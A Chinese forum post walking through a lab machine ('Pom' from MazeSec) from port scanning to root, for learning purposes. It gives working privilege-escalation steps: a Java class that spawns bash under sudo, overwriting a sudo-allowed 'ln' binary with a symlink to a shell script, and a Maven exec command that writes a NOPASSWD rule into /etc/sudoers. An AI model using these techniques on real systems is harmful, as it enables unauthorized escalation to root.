渗透靶机复盘(1)——java-rce、软连接覆盖、maven-rce横移链

靶机来自 MazeSec(迷踪安全): MazeSec | About 靶机名:Pom 作者 :Sublarge AI 总结 这篇复盘记录了一台 Linux 靶机从信息收集到 root 提权的完整过程。整体思路是:先通过 nmap / rustscan 发现异常端口 55555 ,再使用 opens...
渗透靶机复盘(1)——java-rce、软连接覆盖、maven-rce横移链
渗透靶机复盘(1)——java-rce、软连接覆盖、maven-rce横移链

靶机来自 MazeSec(迷踪安全):MazeSec | About
靶机名:Pom
作者 :Sublarge

AI 总结


这篇复盘记录了一台 Linux 靶机从信息收集到 root 提权的完整过程。整体思路是:先通过 nmap / rustscan 发现异常端口 55555,再使用 openssl 连接 SSL 服务拿到初始 shell;随后进行本地信息收集,利用密钥文件解出 SSH 密码,稳定登录后通过 sudo -l 分析权限,依次借助 Java 执行、软链接覆盖和 Maven 插件命令执行完成横向移动与提权。

核心知识点包括:端口扫描与服务识别、异常端口利用、socat shell 原理、Linux 本地枚举、密钥文件解密、sudo 权限分析、Java 代码执行、软链接利用,以及 Maven 命令执行提权。


这是我通关的第一台靶机,今天来好好复盘一下,毕竟很多东西我完全不知道,都是ai的。
复盘就不说主机发现了,毕竟真实环境也不会在同网段吧。
靶机ip:10.216.75.62

信息收集

拿到靶机第一步肯定是信息收集扫端口,目前对我来说nmap扫端口的功能就够了,但是我习惯用rustscan调用nmap的脚本深度扫一下,然后用ai工具总结一下。(总觉得会发现多一点东西),还有就是以后会遇到有敲门等功能,rustscan的多线程是很有可能直接敲开的(但是好像必须是顺序敲门,这也是敲门策略的大忌,但是不排除就是有人这么设置吧,毕竟最大的漏洞就是人),ok不扯了。

nmap -p- 10.216.75.62   #-p-表示全端口扫描,也可以 -p 指定端口,例如:nmap {ip} -p 22

看到除了22端口外(22是ssh默认端口,所以靶机都会开的),还开了80、55555端口,这个55555就很不正常,应该有什么特殊的东西。
55555我们暂时没有任何信息,所以没办法入手,所以只能去web端口看一看。


是一个Spring Boot 框架的默认错误页面
也是什么都没有,那这时候一般就会去扫一遍目录了。

扫了目录也没有什么有用的东西,这个时候基本就线索断了。
那么我们只能寄希望于55555端口了。但是我们根本不知道这是什么,所以回去进行进一步探测。
我们用rustscan扫一下,他是会自动调用nmap脚本深入探测的。

rustscan -a 10.216.75.62 -p 55555 --ulimit 5000 -- -A -sC -sV

输出很多,我们用ai总结一下。
这里顺便打个广告,自己写的小工具,调用llm-api自动总结上一条命令。终端命令-what,(随意开发的,也就vibe了一两天,有什么建议都可以提提issues,点点star)
效果大概这样:


我们直接按照ai给的建议来建立ssl连接。

openssl s_client -connect 10.216.75.62:55555 -quiet


直接就弹回来一个shell了。成功拿到user-flag
flag{user-f823e147843dd5b23f0ac9d243ae12fb}

复盘-shell来源

这里好奇为什么能直接获得一个shell呢。
我们ps看一下当前的进程(前面一些没用的就不看了):


我们看到这一行

2438 mav1234   0:00 socat -d -d OPENSSL-LISTEN:55555,cert=/home/mav1234/.local

有一个进程以mav1234的身份在用socat监听55555端口,应该是一个定时任务
cert=/home/mav1234/.local是用于验证的证书
所以我们用openssl向该端口发起连接请求,就会弹回来一个mav1234的shell了。

  • 这里其实就是反弹shell的逆向过程,我们主动连接靶机,这就要求靶机上开放了特定端口有这个服务。而我们平时选择反弹shell就是因为,它不需要靶机开放什么服务,是靶机去主动连接我们

获得shell之后的信息收集

我们通常获得了基础的shell之后就要进一步的信息收集,因为在shell之外很多信息是收集不到或者不方便的。
最普遍的就是看看:

  • sudo -l :是否有一些特定的sudo权限
  • ls -l /home :看看有哪些用户,判断是否会要横向,但是一般都是要的
  • ls -al /optOptional Application Software (可选应用软件),除了apt等系统软件之外,很多自己安装的软件都会在这个目录下,比如手动安装的 Google ChromeTeamViewerMongoDBPostgreSQLDiscordVS Code 等,都可能出现在这里。靶机作者也经常把入口放在这里。
  • 还有就是/etc/passwd /etc/shadow这些常规的文件了
    其他就是得随机应变了,这些都没有思路的话再去深入的探索

我们这边先看一下家目录还一个文件。

sh-5.2$ cat journel
cat journel
I’ve encrypted my secret with my key. No one else can read it now. It’s safely hidden away:)
# 我已经用我的密钥加密了我的秘密。现在除了我谁也读不到了。它安全地藏起来了:)

有秘密,应该是提示,找一下。


找到了meta文件和pem文件,

meta是元数据,pem是证书,公钥私钥等文件。

猜测应该是meta用pem解密会得到什么东西。
我们还是可以用openssl来解密。


得到MvxPf8yCB8lxXk5A,猜测是ssh密码,我们尝试ssh登录稳定一下shell(因为这样ssl连接的shell很不稳定,用起来不方便)


登录成功。
再信息收集一下

看到有3个用户,并且我们有另外一个用户的java权限。那很明显就是用java横向了。相当于任意java代码执行了。
先写一个java的一句话木马,

-bash-5.2$ cat Exploit.java

public class Exploit {
    public static void main(String[] args) throws Exception {
        ProcessBuilder pb = new ProcessBuilder("/bin/bash");
        pb.inheritIO();
        pb.start().waitFor();
    }
}
sudo -u qc2000 /usr/bin/java -cp /tmp Exploit


这里就横向成功了,但是这里要注意的是,不要放在自己家目录,因为qc2000可能会没有权限访问,所以会报错找不到class文件。
接着看一下sudo权限。

bash-5.2$ sudo -l
Matching Defaults entries for qc2000 on Pom:
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for qc2000:
    Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User qc2000 may run the following commands on Pom:
    (terra536) NOPASSWD: /home/terra536/ln

有一个ln命令的权限,应该就是打软连接,首先想到的是连接ssh公钥之类的。
但是就算是有链接,不管是硬链接还是软连接,如果源文件没有权限,那链接文件也一样看不了。那就不是这么打的了。

这里有一个点,那就是这个ln命令/home/terra536/ln。这是家目录的ln,而不是/usr/bin下面的
我们是不是可以尝试修改这个命令呢。

  1. 写一个shell脚本
  2. /home/terra536/ln打把shell脚本给链接到自己上面(用-f参数强制覆盖原来内容)
  3. 然后我们运行/home/terra536/ln就相当于在运行shell脚本了,而且是以terra536的身份运行的
    开始
qc2000@Pom:/tmp$ chmod +x /tmp/hacker.sh
qc2000@Pom:/tmp$ cat hacker.sh
#!/bin/bash
/bin/bash -i
qc2000@Pom:/tmp$ sudo -u terra536 /home/terra536/ln -sf /tmp/hacker.sh /home/terra536/ln
qc2000@Pom:/tmp$ sudo -u terra536 /home/terra536/ln
Pom:/tmp$ id
uid=1002(terra536) gid=1002(terra536) groups=1002(terra536)
Pom:/tmp$ whoami
terra536
	```
最后就是maven的插件命令执行提权,因为我们有maven的root权限,只需要用maven执行对应的命令就好,反弹shell或者直接给其他用户无密码执行所有命令的权限,写进/etc/sudoers(这里是一种演示,还有很多其他插件,大家可以去学习一下。并且演示这种也是需要一个最小pom.xml文件的)
```bash
bash-5.2# sudo /usr/bin/mvn exec:exec -Dexec.executable=/bin/sh -Dexec.args="-c 'echo \"terra536 ALL=(ALL) NOPASSWD: ALL\" >> /etc/sudoers'"
[INFO] Scanning for projects...
[INFO]
[INFO] ---------------------------< hacker:exploit >---------------------------
[INFO] Building exploit 1.0
[INFO]   from pom.xml
[INFO] --------------------------------[ jar ]---------------------------------
[INFO]
[INFO] --- exec:3.6.3:exec (default-cli) @ exploit ---
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESS
[INFO] ------------------------------------------------------------------------
[INFO] Total time:  2.855 s
[INFO] Finished at: 2026-05-01T22:56:54+08:00
[INFO] ------------------------------------------------------------------------
bash-5.2# sudo su -
root@Pom:~# ls /root
root.txt
root@Pom:~# cat root.txt
flag{root-4a29b2f65b40052a804c0cc4afb906bd}

2 个帖子 - 2 位参与者

阅读完整话题

来源: LinuxDo 最新话题查看原文